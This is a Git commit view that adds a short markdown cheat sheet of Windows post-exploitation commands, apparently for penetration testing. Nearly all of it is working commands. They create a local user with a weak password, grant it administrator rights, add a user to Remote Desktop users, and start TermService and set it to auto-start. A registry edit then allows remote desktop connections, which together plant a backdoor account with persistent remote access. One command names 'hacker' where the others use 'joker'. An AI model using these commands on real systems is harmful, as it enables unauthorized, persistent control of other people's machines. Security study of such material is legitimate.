Create misc-windows-post-exploitation.md

This commit is contained in:
Omar Santos 2021-07-18 23:33:45 -04:00 committed by GitHub
parent 10b766777e
commit db831da1fa
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -0,0 +1,37 @@
# Misc Windows Post Exploitation Tasks
### Adding a Windows User (joker):
```
net user /add joker password123
```
### Adding a user to the Administrators groups
```
net localgroup administrators /add joker
```
### Adding a user to the Remote Desktop user group
```
net localgroup "Remote Desktop users" hacker /add
```
### Starting the Remote Desktop service
```
net start TermService
```
### Verifying if the Remote Desktop Service is active and running
```
tasklist /svc | findstr /C:TermService
```
### Permanently enable Terminal Services
```
sc config TermService start=auto
```
### Enabling Terminal services via the registry
Note: You need to reboot after invoking this...
```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```